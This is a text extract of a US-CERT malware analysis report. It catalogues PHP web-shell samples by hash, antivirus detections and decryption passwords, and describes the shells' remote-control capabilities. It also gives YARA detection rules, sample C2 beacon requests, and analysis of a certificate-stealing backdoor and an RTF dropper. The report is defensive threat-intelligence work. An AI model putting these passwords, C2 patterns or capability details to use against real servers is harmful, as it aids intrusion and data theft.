Sophos Microsoft Ahnlab ESET NANOAV TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Agent.IB trojan Trojan.Script.Crypt.dsonvo PHP_WEBSHELL.SMA Trojan.PHP.Crypt Relationships da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The password "avto" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality. 20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239 US-CERT MIFR-10105049-Update2 4 of 63 Details Name 20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239 Size 21377 Type PHP script, ASCII text, with very long lines c3e23ef7f5e41796b80ca9e59990fe9c SHA1 0a3f7e0d0729b648d7bb6839db13c97f0b741773 ssdeep 384:JIiH2ER39I1Vv+kIPEWWjYc+CmJNHKblvcDSRRjqSA93DuxuXvWxUg:JIy2ER3CL+khWUYcsJtMcDiuSA93DuxD Entropy 6.10091164773 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP VirIT Trojan.PHP.Shell.LV Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aaw TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12662 Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Relationships 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The password "123123" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality. 7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf Details Name 7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf Size 21633 Type PHP script, ASCII text, with very long lines, with CRLF line terminators 38f7149d4ec01509c3a36d4567125b18 SHA1 d1828dce4bf476ca07629e1613dd77c3346e2c5a ssdeep 384:0y6t/9+e9BhShtzX3vOjbkMlspeMucuA4ScHCpMO1LmMoVID+a5XHEuz8v:0y6L+4BIhhX/6IMyn5uMcHCpbkuz8v Entropy 6.12095270355 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP VirIT Trojan.PHP.Shell.JB Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abc TrendMicro PHP_WEBSHELL.SMA Sophos US-CERT MIFR-10105049-Update2 PHP/WebShell-O 5 of 63 Avira Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/Agent.1266 Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Agent.IB trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Relationships 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The password "avto" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality. ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975 Details Name ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975 Size 21121 Type PHP script, ASCII text, with very long lines, with no line terminators eddfe110da553a3dc721e0ad4ea1c95c SHA1 6b178cc9d630345356b9341613cd83bd588192e9 ssdeep 384:/YO/kOzhJ38bvqoWksNj4lCKlmI6KDzXpofabpTACAXDDe9GDtWNmu:/YIkOzhJs1WkqICKs0ofocCAXDDe9etO Entropy 6.08010194218 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-1642041 Kaspersky Backdoor.PHP.Agent.aat TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Relationships ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) Related_To 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The password "123123" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.1.0. This file and 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e have the same functionality. 6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 Details Name 6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 Size 21191 Type PHP script, ASCII text, with very long lines 78abd4cdccab5462a64ab4908b6056bd US-CERT MIFR-10105049-Update2 6 of 63 SHA1 1a42bc32bdfeb468e6a98f9b69514adb7cc963ae ssdeep 384:3cKqZSUbR58RkpmzijNeoBtqT/juu+/iSeClJTYZaPKWFbNx:sKqZ7dCupmzqN3K7jsFDTTeaX1Nx Entropy 6.10207869759 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abe TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.G PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Relationships 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To (S) Interface for PAS v.3.0.10 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Related_To d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The password "we kome" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.0.10. This version (see Screenshot) and v.3.1.0 have similar functionality, except v.3.0.10 has safeMode, open base directory, and disable functionality.The webshell P.A.S. v.3.0.10 interface is shown in image 2.0. Screenshots Interface for PAS v.3.0.10 d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38 Details Name d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38 Size 21191 Type PHP script, ASCII text, with very long lines fc45abdd5fb3ffa4d3799737b3f597f4 SHA1 adf649354ff4d1812e7de745214362959e0174b1 ssdeep 384:ccKqZSUbR58RkpmzijNeoBtqT/juu+/iSeClJTYZaPKWFbNUbxwx:pKqZ7dCupmzqN3K7jsFDTTeaX1NUbxG Entropy 6.1021796546 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i US-CERT MIFR-10105049-Update2 7 of 63 NetGate Trojan.Win32.Malware F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abe TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Krypt k.AA Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Relationships d285115e97c02063836f1cf8f91669c114052727c3 9bf4bd3c062ad5b3509e38 (fc45a) Related_To 6fad670ac8febb5909be73c9f6b428179c6a7e942 94e3e6e358c994500fcce46 (78abd) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. The password "123123" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.0.10. This file and 6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46 have the same functionality. 0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09 Details Name 0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09 Size 21633 Type PHP script, ASCII text, with very long lines, with CRLF line terminators 10b1306f322a590b9cef4d023854b850 SHA1 eac98f414abd9e6a39ce96f5547284c371a30a74 ssdeep 384:aflOAr6OucUytsS8UdzMV3u2SmsyCDHEToBCGIbGA3taDPWA+0BWdL1v:afUAr6OJB18Cc3u2jseTo/cGA3taD+Ae Entropy 6.1212580823 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aax TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. 0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e Details Name 0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e US-CERT MIFR-10105049-Update2 8 of 63 Size 21377 Type PHP script, ASCII text, with very long lines 128cc715b25d0e55704ed9b4a3f2ef55 SHA1 93c3607147e24396cc8f508c21ce8ab53f9a0176 ssdeep 384:zvAz7TvcjKJp0eJ4ZZXIoQW9fq3C3W/e3+M/BF9xjzAMbaQCUv:jAzMjAp0/XIq9fq3CWoEUv Entropy 6.10186106747 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AXV Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aau TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. 1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751 Details Name 1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751 Size 21355 Type PHP script, ASCII text, with very long lines f3ecf4c56f16d57b260b9cf6ec4519d6 SHA1 18eda2d7b0d42462cdef1794ad26e21a52d79dc6 ssdeep 384:DIiH2ER39I1Vv+kIPEWWjYc+CmJNHKblvcDSRRjqSA93DuxuXvWxUV:DIy2ER3CL+khWUYcsJtMcDiuSA93Dux0 Entropy 6.09871136883 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aav TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. US-CERT MIFR-10105049-Update2 9 of 63 2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4 Details Name 2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4 Size 21377 Type PHP script, ASCII text, with very long lines 7fce89d5e3d59d8e849d55d604b70a6f SHA1 a0a6978f7022f71ad977760f492704216318b5cd ssdeep 384:ZoO1rR0apTrdj4hK2IeJYORHxrPIHzDUCuJYL3Q3QX6imKrV3XVPeezCv:ZR1rxl0k2lJYORRyBg3XlKpnVPee+v Entropy 6.10129283354 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abb TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. During runtime, this payload will be decoded and decrypted using combination of a base64_decode and a password. This password is submitted via a POST request or in a cookie at runtime. The following password "|F3Jk~6k6" was used to decrypt the payload. The decrypted payload contains a PHP webshell and has been identified as P.A.S. v.3.1.0. This webshell is a backdoor that provides an interface for various remote operations, such as file explorer, searcher, SQL-client, network tools, command shell access, and server info features to a remote user once installed on the compromised system. The following are some of the P.A.S webshell capabilities: --Begin Capabilities-To view compromised server information. File manager (copy, rename, move, download, upload, delete, jump, create files and folders). Search files, objects, directories, and text in files. SQL client to login and dump database and tables. Network console to bindport, back-connect, and port scanner. Command line console to execute command. Execute PHP code. --End Capabilities-The webshell interface is shown in image 1.0. 3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7 Details Name 3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7 Size 21612 Type PHP script, ASCII text, with very long lines, with CRLF line terminators e80f92faa5e11007f9ffea6df2297993 SHA1 2c48e42c882b45861557ea1f139f3e8b31629c7c ssdeep 384:FflOAr6OucUytsS8UdzMV3u2SmsyCDHEToBCGIbGA3taDPWA+0BWdLh:FfUAr6OJB18Cc3u2jseTo/cGA3taD+Aq Entropy 6.11927531623 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan US-CERT MIFR-10105049-Update2 10 of 63 ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aas TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload.Analysis indicates that the web shell will be access and execute through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. The embedded payload will be decoded and decrypted using combination of a base64_decode and a password. The password was not part of the submission. 449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602 Details Name 449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602 Size 21667 Type PHP script, ASCII text, with very long lines 66948b04173b523ca773c3073afb506d SHA1 e1ad80b0769b8b9dfb357a410af948127aabda97 ssdeep 384:C0LnByNA3w1C7+mUsR+3oGzY0esuvDDqpEhIqdbf1oZP4jihXro8AtoGXz:C0FgJXoGzY0mDDbIqNYP4jihXroltoGj Entropy 6.09992131729 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aap TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12664 Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. 7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e Details Name 7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e Size 21445 Type PHP script, ASCII text, with very long lines, with CRLF line terminators a5e933d849367d623d1f2692b6691bbf SHA1 b788dce411fe0e1e1b7b476184aa6bbd0f8e3e31 ssdeep 384:5WermnyinsjQ+b3f+qzolbopGdiWy6diduFrg:5XaytEm3GCpGdMuFrg Entropy 6.11582358023 US-CERT MIFR-10105049-Update2 11 of 63 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aaq TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12661 Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. 9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f Details Name 9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f Size 21182 Type PHP script, ASCII text, with very long lines dc4594dbeafbc8edfa0ac5983b295d9b SHA1 82c4d3753a8ee26f0468e79bf5d90ada04c612ea 384:5e0nReo3P8WiT/7AxG7+4g6NdSB1env3qnEkgAFHJNdfoNuWs3yYKGYWZ0QxzTFI:5RzI /sxG7+762Be0skJNdfoNuWVbWZ0V 6.10088739359 ssdeep Entropy Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.abd TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806 Details Name Size a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806 21191 US-CERT MIFR-10105049-Update2 12 of 63 Type PHP script, ASCII text, with very long lines 1ec7f06f1ee4fa7cecd17244eec24e07 SHA1 ae167bca0863cfccba9cc9cf5e3cafce6fa6b92c ssdeep 384:s7ueraQSysFXnTPy9U3KRpz0x8Q1wKM5ivFV8rfAcrOf+U8zVYG:32sFXTPy9U3Qze8SwK2iooEOmKG Entropy 6.1011365049 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aba TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4 Details Name bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4 Size 21377 Type PHP script, ASCII text, with very long lines 70f93f4f17d0e46137718fe59591dafb SHA1 1e49a68c72ef40e8c333007a7e7f56de1b29c842 ssdeep 384:EIiH2ER39I1Vv+kIPEWWjYc+CmJNHKblvcDSRRjqSA93DuxuXvWxUort:EIy2ER3CL+khWUYcsJtMcDiuSA93Duxf Entropy 6.09482710893 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP VirIT Trojan.PHP.Shell.LV Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aaw TrendMicro PHP_WEBSHELL.SMA Sophos Microsoft Ahnlab ESET TrendMicroHouseCall Ikarus PHP/WebShell-O Backdoor:PHP/Fobushell.G PHP/Webshell PHP/Krypt k.AJ trojan PHP_WEBSHELL.SMA Trojan.PHP.Crypt Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. US-CERT MIFR-10105049-Update2 13 of 63 rule unidentified_malware meta: Author = "US-CERT Code Analysis Team" Date = 16JAN17 Incident = 10105049 MD5 = "8F154D23AC2071D7F179959AABA37AD5" strings: $my_string_one = { 8D 78 03 8A 65 FF 8D A4 24 00 00 00 00 8A 04 0F 32 C4 88 04 11 41 3B CE 72 F3 } $my_string_two = "CryptAcquireCertificatePrivateKey" $my_string_three = "CertFreeCertificateContext" $my_string_four = "CertEnumCertificatesInStore" $my_string_five = "PFXImportCertStore" condition: all of them End YARA Signature During runtime, the malware attempts to communicate with its C2 server, private.directinvesting.com. Displayed below are sample connections between the malware and its C2 server. Begin Sample C2 Connections GET /lexicon/index.cfm?dq=d9487&pg=149a8d6adb73d479e66c6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache GET /lexicon/index.cfm?source=0887a&css=b9&utm_term=80aaeb73d479e66c6&f=12 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache GET /lexicon/index.cfm?utm_content=876b73d479e66c6&source=19bd05efa8c HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache End Sample C2 Connections The application attempts to download data from a C2 server and write it to a randomly named .tmp file within the users %TEMP% directory. Some of the file names used to store this downloaded data within our lab environment are displayed below: Begin Sample File Names TEMP\Cab1D5.tmp TEMP\Cab1D7.tmp TEMP\Cab1DA.tmp TEMP\Cab1DC.tmp End Sample File Names Analysis indicates this application provides several notable capabilities to an operator. The program provides an operator access to a reverse shell on the victim system. Additionally, the malware provides an operator the capability to enumerate the victims Windows Certificate Store, and extract identified digital certificates, including private keys. The application also allows an operator to enumerate all physical drives and network resources the victim system has access to. US-CERT MIFR-10105049-Update2 15 of 63 secure strings method. Begin YARA Signature rule unidentified_malware meta: Author = "US-CERT Code Analysis Team" Date = 16JAN17 Incident = 10105049 File = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0" MD5 = "AE7E3E531494B201FBF6021066DDD188" strings: $my_string_one = { 8D 78 03 8A 65 FF 8D A4 24 00 00 00 00 8A 04 0F 32 C4 88 04 11 41 3B CE 72 F3 } $my_string_two = "CryptAcquireCertificatePrivateKey" $my_string_three = "CertFreeCertificateContext" $my_string_four = "CertEnumCertificatesInStore" $my_string_five = "PFXImportCertStore" condition: all of them End YARA Signature During runtime, the malware attempts to communicate with its C2 server, cderlearn[.]com. Displayed below are sample connections between the malware and its C2 server. Begin Sample C2 Connections POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: www[.]cderlearn.com Content-Length: 38 Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache rss=a5ce5fa&pg=f8&sa=8816db73d479e8e35 POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: www[.]cderlearn.com Content-Length: 46 Cache-Control: no-cache id=3&source=a804b4b73d479eebea&rss=53d0&ei=d3c End Sample C2 Connections The application attempts to download data from a C2 server and write it to a randomly named .tmp file within the users %TEMP% directory. Some of the file names used to store this downloaded data within our lab environment are displayed below: Begin Sample File Names TEMP\Cab5.tmp TEMP\Tar6.tmp TEMP\Cab7.tmp TEMP\Tar8.tmp End Sample File Names Analysis indicates this application provides several notable capabilities to an operator. The program provides an operator access to a reverse shell on the victim system. Additionally, the malware provides an operator the capability to enumerate the victims Windows Certificate Store, and extract identified digital certificates, including private keys. The application also allows an operator to enumerate all physical drives and network resources the victim system has access to. US-CERT MIFR-10105049-Update2 17 of 63 Screenshots digital_cert_steal.bmp Screen shot of code used by 9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0 to steal a victim users digital certificates from the Windows Certificate Store. ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e Details Name ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e Size 714679 Type Rich Text Format data, version 1, unknown character set 81f1af277010cb78755f08dfcc379ca6 SHA1 9cb7716d83c0d06ab356bdfa52def1af64bc5210 ssdeep 3072:0gOxPV0p1knm8Z0gPJQ3kq9d6AvgBodb30aCubtvn7JBsEitau3QCv:jOBVs1knm8ZPJQ3kqoodkuZjlbVY Entropy 3.29548128269 Antivirus F-prot W32/Dridex.HX McAfee Fareit-FHF NetGate Trojan.Win32.Malware F-secure Gen:Variant.Razy.41230 Symantec Trojan.Fareit VirusBlokAda TrojanPSW.Fareit ClamAV Win.Trojan.Agent-5486255-0 Kaspersky Trojan-PSW.Win32.Fareit.bshk TrendMicro TROJ_FA.6BBF19ED Sophos Avira Microsoft Ahnlab NANOAV Troj/Fareit-AMQ TR/AD.Fareit.Y.ehkw PWS:Win32/Fareit RTF/Dropper Trojan.Rtf.Stealer.efqzyl TrendMicroHouseCall TROJ_FA.6BBF19ED Ikarus Trojan.Win32.Zlader Relationships ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d US-CERT MIFR-10105049-Update2 Dropped 9f918fb741e951a10e68ce6874b839aef5a26d604 18 of 63 3235b9c1e0dad683538cc8e (81f1a) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) 86db31e509f8dcaa13acec5 (617ba) Characterized_By ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e Description This is a malicious RTF document containing an embedded encoded executable. Upon execution, the RTF will decode and install the executable to %Temp%\m3.tmp (9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5). The encoded executable is decoded using a hexadecimal algorithm. The document will attempt to execute m3.tmp but fails to execute due to the file exetension. Screenshots ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e 9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 Details Name 9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 Size 117248 Type PE32 executable (GUI) Intel 80386, for MS Windows 617ba99be8a7d0771628344d209e9d8a SHA1 7cefb021fb30f985b427b584be9c16e364836739 ssdeep 3072:CN7FVxVzbL02rXlwiIrClX1O6OhOqsY9WZYWmwdaX82X45iAKMaEUSDslGz0x:CNxVjbLXDup2lXY6O0VYIOMW Entropy 6.86854130027 Antivirus F-prot W32/Dridex.HX McAfee Fareit-FHF Trojan ( 004df8ee1 